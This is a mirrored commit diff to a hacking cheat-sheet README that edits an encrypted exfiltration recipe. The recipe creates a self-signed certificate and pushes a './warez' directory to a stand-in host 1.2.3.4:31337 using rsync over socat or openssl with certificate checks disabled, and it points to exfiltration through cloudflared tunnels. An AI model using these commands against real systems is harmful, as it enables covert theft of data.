mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-06-04 13:18:00 +02:00
Update README.md
This commit is contained in:
@@ -1155,7 +1155,7 @@ The same encrypted (OpenSSL):
|
||||
|
||||
Receiver:
|
||||
```posh
|
||||
openssl req -subj '/CN=thc/O=EXFIL/C=XX' -new -newkey rsa:2048 -sha256 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt
|
||||
openssl req -subj '/CN=example.com/O=EL/C=XX' -new -newkey ed25519 -days 14 -nodes -x509 -keyout ssl.key -out ssl.crt
|
||||
cat ssl.key ssl.crt >ssl.pem
|
||||
rm -f ssl.key ssl.crt
|
||||
mkdir upload
|
||||
@@ -1169,7 +1169,7 @@ Sender:
|
||||
rsync -ahPRv -e "bash -c 'socat - OPENSSL-CONNECT:1.2.3.4:31337,cert=ssl.pem,cafile=ssl.pem,verify=0' #" -- ./warez 0:
|
||||
|
||||
# Using rsync + openssl
|
||||
rsync -ahPRv -e "bash -c 'openssl s_client -connect 1.2.3.4:31337 -servername thc -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- ./warez 0:
|
||||
rsync -ahPRv -e "bash -c 'openssl s_client -connect 1.2.3.4:31337 -servername example.com -cert ssl.pem -CAfile ssl.pem -quiet 2>/dev/null' #" -- ./warez 0:
|
||||
```
|
||||
|
||||
Rsync can be combined to exfil via [https / cloudflared raw TCP tunnels](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service).
|
||||
|
||||
Reference in New Issue
Block a user